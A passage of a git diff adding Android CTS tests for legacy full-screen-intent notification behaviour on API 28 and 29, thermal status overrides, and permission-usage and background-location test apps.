+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification28TestCases
+LOCAL_PRIVATE_PLATFORM_APIS := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MIN_SDK_VERSION := 28
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml
new file mode 100644
index 0000000..867d4ef
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.notification.legacy28.cts">
+
+    <uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.notification.legacy28.cts"
+                     android:label="CTS tests for notification behavior (API 28)">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
new file mode 100644
index 0000000..6cced29
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 28 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotification28TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.notification.legacy28.cts" />
+        <option name="runtime-hint" value="5m" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
new file mode 100644
index 0000000..e77612a
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy28.cts;
+
+import static junit.framework.TestCase.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Home for tests that need to verify behavior for apps that target old sdk versions.
+ */
+@RunWith(AndroidJUnit4.class)
+public class NotificationManager28Test {
+    final String TAG = "LegacyNoManTest28";
+
+    final String NOTIFICATION_CHANNEL_ID = "LegacyNoManTest28";
+    private NotificationManager mNotificationManager;
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+
+        mNotificationManager = (NotificationManager) mContext.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+    }
+
+    @Test
+    public void testPostFullScreenIntent_noPermission() {
+        // No Full screen intent permission; but full screen intent should still be allowed
+        int id = 6000;
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.id.icon)
+                        .setWhen(System.currentTimeMillis())
+                        .setFullScreenIntent(getPendingIntent(), true)
+                        .setContentText("This is #FSI notification")
+                        .setContentIntent(getPendingIntent())
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        StatusBarNotification n = findPostedNotification(id);
+        assertNotNull(n);
+        assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
+    }
+
+    private StatusBarNotification findPostedNotification(int id) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 300ms before giving up
+        StatusBarNotification n = null;
+        for (int tries = 3; tries--> 0;) {
+            final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+            for (StatusBarNotification sbn : sbns) {
+                Log.d(TAG, "Found " + sbn.getKey());
+                if (sbn.getId() == id) {
+                    n = sbn;
+                    break;
+                }
+            }
+            if (n != null) break;
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return n;
+    }
+
+    private PendingIntent getPendingIntent() {
+        return PendingIntent.getActivity(
+                mContext, 0, new Intent(mContext, this.getClass()), 0);
+    }
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.mk b/tests/tests/notificationlegacy/notificationlegacy29/Android.mk
new file mode 100644
index 0000000..4caf2c9
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLegacyNotification29TestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+# and when built explicitly put it in the data partition
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner \
+    android-support-test \
+    junit
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# TODO: replace with 29 once 29 finalized
+LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 29
+
+include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml
new file mode 100644
index 0000000..6b52e7a
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.notification.legacy29.cts">
+
+    <uses-sdk android:minSdkVersion="29"  />
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.notification.legacy29.cts"
+                     android:label="CTS tests for notification behavior (API 29)">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
new file mode 100644
index 0000000..a3d8bb8
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 29 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotification29TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.notification.legacy29.cts" />
+        <option name="runtime-hint" value="5m" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
new file mode 100644
index 0000000..6629e17
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.notification.legacy29.cts;
+
+import static junit.framework.TestCase.assertNotNull;
+import static junit.framework.TestCase.assertNull;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.service.notification.StatusBarNotification;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Home for tests that need to verify behavior for apps that target old sdk versions.
+ */
+@RunWith(AndroidJUnit4.class)
+public class NotificationManager29Test {
+    final String TAG = "LegacyNoManTest29";
+
+    final String NOTIFICATION_CHANNEL_ID = "LegacyNoManTest29";
+    private NotificationManager mNotificationManager;
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+
+        mNotificationManager = (NotificationManager) mContext.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        mNotificationManager.createNotificationChannel(new NotificationChannel(
+                NOTIFICATION_CHANNEL_ID, "name", NotificationManager.IMPORTANCE_DEFAULT));
+    }
+
+    @Test
+    public void testPostFullScreenIntent_noPermission() {
+        // no permission? no full screen intent
+        int id = 6000;
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.id.icon)
+                        .setWhen(System.currentTimeMillis())
+                        .setFullScreenIntent(getPendingIntent(), true)
+                        .setContentText("This is #FSI notification")
+                        .setContentIntent(getPendingIntent())
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        StatusBarNotification n = findPostedNotification(id);
+        assertNotNull(n);
+        assertNull(n.getNotification().fullScreenIntent);
+    }
+
+    private StatusBarNotification findPostedNotification(int id) {
+        // notification is a bit asynchronous so it may take a few ms to appear in
+        // getActiveNotifications()
+        // we will check for it for up to 300ms before giving up
+        StatusBarNotification n = null;
+        for (int tries = 3; tries--> 0;) {
+            final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+            for (StatusBarNotification sbn : sbns) {
+                Log.d(TAG, "Found " + sbn.getKey());
+                if (sbn.getId() == id) {
+                    n = sbn;
+                    break;
+                }
+            }
+            if (n != null) break;
+            try {
+                Thread.sleep(100);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return n;
+    }
+
+    private PendingIntent getPendingIntent() {
+        return PendingIntent.getActivity(
+                mContext, 0, new Intent(mContext, this.getClass()), 0);
+    }
+}
diff --git a/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
new file mode 100644
index 0000000..5f5441b
--- /dev/null
+++ b/tests/tests/os/src/android/os/cts/PowerManager_ThermalTest.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static junit.framework.TestCase.assertEquals;
+
+import android.content.Context;
+import android.os.PowerManager;
+import android.os.PowerManager.ThermalStatusCallback;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import org.junit.After;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+import java.io.IOException;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+
+public class PowerManager_ThermalTest {
+    private static final long CALLBACK_TIMEOUT_MILLI_SEC = 5000;
+    private UiDevice mUiDevice;
+    private Context mContext;
+    private PowerManager mPowerManager;
+    private Executor mExec = Executors.newSingleThreadExecutor();
+    @Mock
+    private ThermalStatusCallback mCallback;
+
+    @Before
+    public void setUp() throws Exception {
+        MockitoAnnotations.initMocks(this);
+        mContext = InstrumentationRegistry.getTargetContext();
+        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        mPowerManager = mContext.getSystemService(PowerManager.class);
+        mUiDevice.executeShellCommand("cmd thermalservice override-status 0");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        mUiDevice.executeShellCommand("cmd thermalservice reset");
+    }
+
+    @Test
+    public void testGetThermalStatus() throws Exception {
+        int status = 0;
+        assertEquals(status, mPowerManager.getCurrentThermalStatus());
+        status = 3;
+        mUiDevice.executeShellCommand("cmd thermalservice override-status "
+                + status);
+        assertEquals(status, mPowerManager.getCurrentThermalStatus());
+    }
+
+    @Test
+    public void testThermalStatusCallback() throws Exception {
+        // Initial override status is 0
+        int status = 0;
+        mPowerManager.registerThermalStatusCallback(mCallback, mExec);
+        verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+                .times(1)).onStatusChange(status);
+        reset(mCallback);
+        status = 3;
+        mUiDevice.executeShellCommand("cmd thermalservice override-status "
+                + status);
+        verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+                .times(1)).onStatusChange(status);
+        reset(mCallback);
+        mPowerManager.unregisterThermalStatusCallback(mCallback);
+        status = 2;
+        mUiDevice.executeShellCommand("cmd thermalservice override-status "
+                + status);
+        verify(mCallback, timeout(CALLBACK_TIMEOUT_MILLI_SEC)
+                .times(0)).onStatusChange(status);
+    }
+}
diff --git a/tests/tests/permission/Android.mk b/tests/tests/permission/Android.mk
index 53cbb3c..7ff8838 100644
--- a/tests/tests/permission/Android.mk
+++ b/tests/tests/permission/Android.mk
@@ -33,7 +33,8 @@
     android-ex-camera2 \
     compatibility-device-util \
     truth-prebuilt \
-    androidx.annotation_annotation
+    androidx.annotation_annotation \
+    platformprotosnano
 
 LOCAL_JNI_SHARED_LIBRARIES := libctspermission_jni libnativehelper_compat_libc++
 
diff --git a/tests/tests/permission/AndroidManifest.xml b/tests/tests/permission/AndroidManifest.xml
index 118aeb5..dcdb795 100644
--- a/tests/tests/permission/AndroidManifest.xml
+++ b/tests/tests/permission/AndroidManifest.xml
@@ -32,6 +32,34 @@
                 android:permissionGroup="android.permission.cts.groupC"
                 android:description="@string/perm_c" />
 
+    <!-- for android.permission.cts.PermissionUsage -->
+    <permission android:name="android.permission.cts.D"
+                android:usageInfoRequired="true" />
+
+    <!-- for android.permission.cts.PermissionUsage -->
+    <uses-permission android:name="android.permission.READ_CONTACTS"
+      android:dataSentOffDevice="no"
+      android:dataSharedWithThirdParty="no"
+      android:dataUsedForMonetization="no"
+      android:dataRetentionTime="notRetained" />
+
+    <!-- for android.permission.cts.PermissionUsage -->
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"
+      android:dataSentOffDevice="yes"
+      android:dataSharedWithThirdParty="yes"
+      android:dataUsedForMonetization="yes"
+      android:dataRetentionTime="32" />
+
+    <!-- for android.permission.cts.PermissionUsage -->
+    <uses-permission android:name="android.permission.RECORD_AUDIO"
+      android:dataSentOffDevice="userTriggered"
+      android:dataSharedWithThirdParty="userTriggered"
+      android:dataUsedForMonetization="userTriggered"
+      android:dataRetentionTime="unlimited" />
+
+    <!-- for android.permission.cts.PermissionUsage -->
+    <uses-permission android:name="android.permission.READ_CALENDAR" />
+
     <!-- for android.permission.cts.PermissionGroupChange -->
     <permission-group android:description="@string/perm_group_b"
                       android:label="@string/perm_group_b"
@@ -52,6 +80,14 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <service android:name=".NotificationListener"
+                 android:exported="true"
+                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
     </application>
 
     <!--
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 221ed80..9bc70fc 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -22,6 +22,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermissionTestCases.apk" />
+        <option name="test-file-name" value="CtsAppThatAccessesLocationOnCommand.apk" />
     </target_preparer>
 
     <!-- Create place to store apks -->
@@ -41,6 +42,8 @@
         <option name="push" value="CtsAppThatRequestsLocationPermission28.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission28.apk" />
         <option name="push" value="CtsAppThatRequestsLocationPermission22.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationPermission22.apk" />
         <option name="push" value="CtsAppThatRequestsLocationAndBackgroundPermission29.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsLocationAndBackgroundPermission29.apk" />
+        <option name="push" value="CtsAppThatAccessesLocationOnCommand.apk->/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk" />
+        <option name="push" value="AppThatDoesNotHaveBgLocationAccess.apk->/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk
new file mode 100644
index 0000000..08b0c46
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.mk
@@ -0,0 +1,32 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsAppThatAccessesLocationOnCommand
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
new file mode 100644
index 0000000..e735330
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthataccesseslocation"
+    android:versionCode="1">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
+
+    <application android:label="CtsLocationAccess">
+        <service android:name=".AccessLocationOnCommand">
+            <intent-filter>
+                <action android:name="android.permission.cts.accesslocation" />
+            </intent-filter>
+        </service>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
new file mode 100644
index 0000000..e1917e0
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+import static android.location.LocationManager.GPS_PROVIDER;
+
+import android.app.Service;
+import android.content.Intent;
+import android.location.LocationManager;
+import android.os.Binder;
+import android.os.Handler;
+import android.os.IBinder;
+
+public class AccessLocationOnCommand extends Service {
+    private static final long DELAY_MILLIS = 100;
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return new Binder();
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        return (new Handler()).postDelayed(
+                () -> getSystemService(LocationManager.class).getLastKnownLocation(GPS_PROVIDER),
+                DELAY_MILLIS);
+    }
+}
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk
new file mode 100644
index 0000000..fcc4b06
--- /dev/null
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/Android.mk
@@ -0,0 +1,30 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := AppThatDoesNotHaveBgLocationAccess
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml
new file mode 100644
index 0000000..81de79b
--- /dev/null
+++ b/tests/tests/permission/AppThatDoesNotHaveBgLocationAccess/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2018 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthataccesseslocation"
+    android:versionCode="2">
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+
+    <application android:label="CtsLocationAccess" />
+</manifest>
+
diff --git a/tests/tests/permission/src/android/permission/cts/AppOpsTest.java b/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
index 1209741..0f3ed4e 100644
--- a/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/AppOpsTest.java
@@ -21,7 +21,6 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -440,7 +439,7 @@
     private static void assertHistoricEntriesEqual(
             List<AppOpsManager.HistoricalPackageOps> expected,
             List<AppOpsManager.HistoricalPackageOps> actual, String[] opNames) {
-        assertSame(expected.size(), actual.size());
+        assertEquals(expected.size(), actual.size());
 
